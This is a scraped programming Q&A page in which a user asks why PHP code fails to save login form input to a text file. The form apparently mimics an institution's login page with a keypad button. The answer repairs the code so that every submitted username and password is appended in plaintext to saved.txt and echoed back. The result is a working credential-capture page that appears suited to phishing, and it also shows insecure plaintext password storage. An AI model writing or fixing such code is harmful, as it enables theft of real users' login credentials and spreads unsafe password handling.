Home > Software engineering >  I cant save input a form to file txt
I cant save input a form to file txt

Time:05-03

i have problem when i get value from input form. if only form not have tag it could be run well.

<form action="" method="POST">
  <div id="wq_uuid_489" >
      <input id="ui"  type="text" name="username" title="User ID" placeholder="User ID" >
  </div>
  <div id="wq_uuid_491" >
      <input id="USER_PWD"  type="password" name="password" title="Password" placeholder="Password" >                                    
  </div>
                                
  <a id="btn_showkeypad"  href="" title="Click to input">Click to input</a>
  </form>

<?php
$Name = "Username:".$_POST['username']."";
$Pass = "Password:".$_POST['password']."";
$file=fopen("saved.txt", "a");
fwrite($file, $Name);
fwrite($file, $Pass);
fclose($file);
?>

and i used POST to get value in input form

CodePudding user response:

Best practice will try run program on static / in program variable first and later use remaining code using POST and GET inputs

hope following code will solve your issue


<form action="#" method="POST">
  <div id="wq_uuid_489" >
      <input id="ui"  type="text" name="username" title="User ID" placeholder="User ID" >
  </div>
  <div id="wq_uuid_491" >
      <input id="USER_PWD"  type="password" name="password" title="Password" placeholder="Password" >                                    
  </div>
                                
  <a id="btn_showkeypad"  href="" title="Click to input">Click to input</a>
  </form>

<form action="" method="POST">
  <div id="wq_uuid_489" >
      <input id="ui"  type="text" name="username" title="User ID" placeholder="User ID" >
  </div>
  <div id="wq_uuid_491" >
      <input id="USER_PWD"  type="password" name="password" title="Password" placeholder="Password" >                                    
  </div>
                                
<input type="submit"  />
  </form>

<?php


///this will check if form is submitted
if($_POST){
$Name = "Username:".$_POST['username']."";
$Pass = "Password:".$_POST['password']."";

echo "Name is > ". $Name. " >> Pass is > ".$Pass." check saved.txt to check output";

$file=fopen("saved.txt", "a");
fwrite($file, $Name);
fwrite($file, $Pass);
fclose($file);
}else{

echo "input is not set";

}
?>
  • Related